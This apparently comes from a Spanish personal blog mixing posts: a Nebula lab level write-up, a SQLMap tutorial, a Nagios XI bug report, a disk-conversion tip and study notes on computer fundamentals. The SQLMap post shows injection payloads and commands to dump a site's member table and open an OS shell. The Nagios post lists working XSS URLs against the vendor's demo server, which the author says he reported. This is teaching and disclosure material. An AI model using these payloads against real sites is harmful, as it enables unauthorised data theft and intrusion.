Nebula
Hola a todos,
Para quien no lo sepa existe un proyecto muy interesante que podemos encontrar en:
http://exploit-exercises.com
El proyecto en sí consta de 3 máquinas virtuales con diversos ejercicios que nos harán probar nuestra habilidad como pentester. Para empezar, usaremos Nebula e ire poniendo aquí las resoluciones de los niveles a medida que los vaya haciendo (ratos muertos rlz).
El primer nivel que se plantea, es bastante sencillón… la definición es la siguiente:
This level requires you to find a Set User ID program that will run as the “flag00″ account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00 .
Que en cristiano significa: “Busca el ficherito llamado flag00 y ejecutalo para poder entrar como este usuario”. Obviamente le fichero no está a la vista, pero con un find podemos encontrarlo rápidamente:
$>find / -name “flag00″
Esto nos devolvera la siguiente salida:
/home/flag00
/var/lib/sudo/flag00
/bin/…/flag00
Teniendo un poco de vista se puede observar como en /bin/ existe un path bastante raro (debido a los puntos que sirven para ocultar el fichero). Si ejecutamos este fichero, veremos que nuestro user cambia a flag00 y si ejecutamos “getflag” nos devolverá la siguiente salida:
You have successfully executed getflag on a target account
Indicandonos el final del ejercicio.
La verdad que es un proyecto muy interesante el cual intentaré ir siguiendo y postear las diferentes soluciones por si a alguién le puede ayudar
.
saluT!
http://exploit-exercises.com
Bash consulta puntuaciones Abandomoviez
Buenas gente!
Aquí os dejo un pequeño script para consultar puntuaciones de una lista de peliculas dadas en abandomoviez. El propósito de este script es generar un fichero con las distintas puntuaciones de las peliculas encontradas.
Cabe destacar que no es perfecto ya que no revisa más allá de la primera página, pero si somos concretos con el nombre casi seguro que nos saldrá la puntuación de la película que buscamos.
El script se puede descargar de aquí.
Como podéis ver es bastante sencillo… pero la verdad que me ha resultado útil
.
Saludos.
[TIP] Vmdk a Raw
Para poder pasar un vmdk a raw o lo que es lo mismo de vmware a KVM. Deberemos seguir los siguientes pasos:
$> vmware-vdiskmanager -r DISK.vmdk -t 0 DISK_OUT.vmdk
Ahora creamos la máquina virtual desde la interfaz de proxmox y volcamos el disco generado:
$> qemu-img convert -f vmdk DISK_OUT.vmdk -O raw /dev/drbdvg/vm-107-disk-1
*Nota –> Tener en cuenta que si omitimos el primer paso nos dará el siguiente error: qemu-img: Could not open ‘DISK.vmdk’: Operation not permitted
Vacaciones!
Buenas gente,
Volveré el 16 de Agosto… hasta entonces ¡Happy Hacking!
Saludos.
Ejemplo práctico de SQLMap
Es conocido que uno de los fallos más visibles en la web es la SQL injection. Esta técnica desconocida por muchos es hoy en día uno de los mayores vectores de ataque presentes en internet.
Según la OWASP TOP 10, que es un proyecto que recoge los fallos más comunes en páginas webs, la SQL injection es un fallo de un impacto muy grave, debido a que los datos almacenados en la base de datos pueden ser comprometidos e incluso el mismo host.
Hoy en día existen muchas herramientas que no pueden ayudar a detectar si nuestra página web es suceptible a ataques de SQLi. La típica prueba que se hace es modificar las variables GET por una comilla simple. Si la página devuelve una salida parecida a la siguiente, tendremos una SQLi:
Como se puede observar, la misma página nos dice que hay un problema en la consulta SQL y nos devuelve la sentencia errónea.
Para explotar este fallo existen miles de herramientas, pero en este post mostraré el uso de SQLMap que es una herramienta que nos ayudará con la automatización de las SQLi y su uso es bastante sencillo.
La sentencia por defecto de SQLMap es la siguiente:
$>./sqlmap.py -u http://www.xxxxx.com/xxx.php?cid=2
Después del parámetro “-u” le pasamos la dirección junto la variable GET que hemos detectado que es injectable a SQLi. Una vez hecho esto, SQLMap nos dará una salida similar a esta:
|
— Place: GET Parameter: cid Type: boolean-based blind Title: AND boolean-based blind – WHERE or HAVING clause Payload: cid=2 AND 1332=1332 Type: error-based Title: MySQL >= 5.0 AND error-based – WHERE or HAVING clause Payload: cid=2 AND (SELECT 9064 FROM(SELECT COUNT(*),CONCAT(CHAR(58,110,107,101,58),(SELECT (CASE WHEN (9064=9064) THEN 1 ELSE 0 END)),CHAR(58,102,104,103,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) Type: AND/OR time-based blind Title: MySQL > 5.0.11 AND time-based blind Payload: cid=2 AND SLEEP(5) — |
Como podemos observar el mismo SQLMap nos propone una posible SQLi. En este caso nos permitiría sacar el usuario/password de la base de datos, pero su funcionalidad no acaba ahí… también podemos listar las distintas bases de datos existentes con la siguiente sentencia:
$>./sqlmap.py -u http://www.xxxxx.com/xxx.php?cid=2 –dbs
Que nos dará una salida similar a esta:
|
[*] information_schema [*] xxxx_lm [*] xxxx_pada |
Y para más información podemos sacar las tablas de las distintas base de datos:
$>./sqlmap.py -u http://www.xxxxx.com/xxx.php?cid=2 –tables -D xxxx_pada
|
Database: xxxx_pada [8 tables] +————————+ | tblArticle | | tblCategory | | tblCategory_Member_Map | | tblContent | | tblItem | | tblMember | | tblShow | | tblSnippet | +————————+ |
E incluso podemos consultar directamente las columnas de una tabla específica dentro de la base de datos:
$>./sqlmap.py -u http://www.xxxxx.com/xxx.php?cid=2 –columns -T tblMember -D xxxx_pada
Aunque lo realmente interesante es poder atacar directamente a los datos recogidos en una tabla en concreto:
$>./sqlmap.py -u http://www.xxxxx.com/xxx.php?cid=2 –dump -T tblMember -D xxxx_pada
Como podemos ver, una herramienta muy práctica y fácil de usar que nos puede proporcionar mucha información. Cabe destacar, que aquí no hemos mencionado otras funciones muy interesantes como pueden ser:
|
–os-shell Prompt for an interactive operating system shell –os-cmd=OSCMD Execute an operating system command –file-read=RFILE Read a file from the back-end DBMS file system –file-write=WFILE Write a local file on the back-end DBMS file system
|
Entre otras… pero esto, ya lo dejo para que jugueis un rato.
Saludos y ¡hasta otra!
____
Sergio Galán
@NaxoneZ
Probando Nagios XI
Buenas gente,
Hoy he estado testeando el Nagios XI para ver que tal estaba y me he encontrado con los siguientes fallos:
Bug: XSS
http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E
http://nagioxi.demos.nagios.com/nagioxi (Search Field)
http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=hostgroups&hostgroup=all&style=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E
http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?show=services&hoststatustypes=%22%3Cscript%3Ealert%2823%29;%3C/script%3E%22%3Cscript%3Ealert%2823%29;%3C/script%3E&servicestatustypes=28
http://nagiosxi.demos.nagios.com/nagiosxi/includes/components/xicore/status.php?&show=services&servicetatusty pes=0&hoststatustypes=12&hostattr=”<script>alert(23);</script>”<script>alert(23);</script>
http://nagiosxi.demos.nagios.com/nagiosxi/ (Latest Alert)
Bug: Redirect Abuse
http://nagiosxi.demos.nagios.com/nagiosxi/admin/?xiwindow=http://www.google.es
Resumen: Se ocultan en la barra de direcciones las variables GET pero estas siguen siendo vulnerables a ataques XSS (casi todas las variables GET para ser exactos) y después me he encontrado un Redirect Abuse que puede ser utilizado para redirigir a páginas maliciosas. Es más, incluso podemos crear un Dashboard con nombre de un XSS y cuando vayamos a Deploy Dashboards nos saltará el XSS…
Y esto en unos 15 minutos… desde mi punto de vista, para ser una herramienta de pago, deja mucho que desear en cuanto a seguridad… esperemos que en futuras versiones arreglen estos bugs.
Saludos
==============
Actualización:
Reporte el fallo a Nagios y me han contestado lo siguiente:
Thanks for the report! We have identified the code that caused this and will include a fix in the next release. Ethan Galstad ___ Nagios Enterprises, LLC Email: sales@nagios.com Phone: (888)624-4671 Fax: (651)204-9103 Web: www.nagios.com
Esperemos que estos fallos esten solucionados en la siguente versión. También me gustaría dar las gracias al equipo de Nagios por el siguiente correo:
Hi Naxone - Thank for pointing those out to usI forwarded the information to our tech/dev guys, they have added them to the TODO list we have. When talking with them they stated "I took a look at his blog, and he has some very interesting suggestion". Thanks again for the extra effort
regards, Mike Okeefe
La verdad que respuestas así, son de agradecer
Fundamento de los computadores Pt.1
Buenos días!
Hace poco me inscribi en la UOC para poder realizar el grado en ingeniería informática. Es por ello que he decidido a modo de estudio, ir poniendo posts para ir reforzando conocimientos y poder ayudar a futuros alumnos de esta carrera.
Antes de nada, quiero destacar que los resumenes expuestos aquí son eso, resumenes… para poder tener un grado más detallado de cada asignatura, recomiendo que se apunten a la UOC y disfruten de su más que extenso material. Sin más preámbulos… vamos a ello:
1.1. Los computadores y su uso
Como todos sabemos los computadores son máquinas de propósito general, que dicho en cristiano viene a ser que tienen multiples funcionalidades, no es como por ejemplo una tostadora, que solo sirve para tostar pan y para de contar.
¿Y como es un computador capaz de realizar multiples funciones? pues gracias a los programas, que son un conjunto de instrucciones que le dicen al computador que función debe realizar.
Estos programas realmente son un conjunto de algorismos (un algorismo nos dice como se debe llevar a cabo una determinada tarea) expresados en algún lenguaje. Los lenguajes los catalogamos en 2 grandes grupos:
- De alto Nivel: Son los lenguajes más cercanos al ser humano, dicho en cristiano, los más comprensibles como ahora Visual Basic.
- De bajo Nivel: Son los lenguajes más cercanos a la máquina, como puede ser ensamblador.
Los programas ejecutables no son más que programas escritos en lengauje máquina. Para poder realizar esta tarea nos hará falta un compilador.
1.2. Evolución en los tipos y usos de los computadores
A grandes rasgos, los computadores han evolucionado gracias a:
- Inovaciones tecnológicas: Reducción de los componentes del pc y aumento de la fiabilidad/capacidad.
- Mejoras en la arquitectura: Mejora en los circuitos que componen los pcs.
- Avance en el Software: La aparición de sistemas operativos, lengaujes de alto nivel y la optimización de las técnicas de compilación.
2.1. Niveles de la jerarquía. Software, hardware
Un computador se estructura en diferentes niveles:
- Nivel de Usuario: Este nivel corresponde a la visión general que tiene un usuario de un computador, vamos un aparato con distintos periféricos que le permiten interactuar con él y que ejecuta aplicaciones. El usuario solo tiene que saber interactuar con dichos periféricos y como usar las distintas aplicaciones ofrecidas por el sistema operativo o los programadores.
- Nivel de Programación: En este nivel el programador conoce las prestaciones que tiene que tener el programa y el lengauje de programación elegido para escribirlo a parte de conocer las facilidades que le ofrece el sistema operativo.
- Nivel de Sistema Operativo: Es el nivel que permite la comunicación entre el procesador y los distintos dispositivos periféricos usando para ello un conjunto de programas que administran el computador. También permite la conexión entre diferentes computadores y ofrece compiladores para que los programadores puedan desarrollar sus programas.
- Nivel físico: En este nivel ya hablamos de los diferentes circuitos electrónicos que forman un computador. Este nivel ejecuta los programas de aplicación y los del sistema operativo, claro está, primeramente deberan ser compilados y traducidos a lenguaje máquina.
Las aplicaciones del sistema operativo forman el software y el nivel físico constituye el hardware.
2.2. Estructura básica de un computador
Dentro del nivel físico que hemos visto antes, existe una estructura conocida como “estructura de Von Neumann” y según esta estructura los compuadores constan de tres módulos:
- Unidad de procesamiento, CPU: Se encarga de la ejecución de programas. Para ello usa una unidad de proceso (UP) que son los dispositivos electrónicos que se encargan de ejecutar los programas bajo la supervisión de la Unidad de control (UC).
- Memoria: Guarda los programas mientras se ejecutan. Estas constan de diferentes direcciones donde se irán almacenando los datos e instrucciones que indicaran que operaciones se deben hacer sobre los datos a medida que un programa este en ejecución.
- Unidad de E/S: Son los dispositivos que permiten la interactuación del usuario con la máquina.
Para que estos 3 módulos se comuniquen, son necesarios unas conexiones denominadas buses. Existen 3 buses:
- Bus de Datos: Se encarga del transporte de datos entre los distintos bloques y de la transferencia de las instrucciones de la memoria al procesador.
- Bus de Direcciones: Permite al procesador indicar que regiones de memoria se quiere leer/escribir.
- Bus de Control: Permite que los 3 módulos actúen de forma coordinada.
3.1. Señales analógicas, digitales y binarias
Para que el computador sea capaz de leer las señales, primeramente hay que pasarlas a binarias. Para ello se usa la digitalización. Que no es más que el proceso de pasar una señal analógica a digital (binaria).
Existen 2 tipos de señales:
- Señal analógica: es una señal con valores infinitos que varía en el tiempo de manera continua.
- Señal digital: es una señal con valores finito que no varía en el tiempo. Son menos exacta que las analógicas pero más manejables.
Dentro de las señales digitales, existe un caso, que es el que nos interesa. Este caso son las señales binarias que en concreto solo pueden tomar 2 valores: 0 y 1.
Cabe destacar que cualquier información que se quiera tratar con el computador, primeramente se debe digitalizar. Para ello primeramente deberemos codificar una señal analógica a binaria del siguiente modo:
- Muestreo: Primeramente deberemos coger muestras de la señal analógica en un intervalo de tiempo regular.
- Cuantificación: Después de coger intervalos de tiempo regular se le asigna un conjunto finito de valores.
- Codificación binaria: Finalmente se traduce las muestras cuantificadas a binario, es decir a 1 y 0.
Con esto ya tenemos una ligera idea de lo que es un computador y su funcionamiento interno.
Saludos.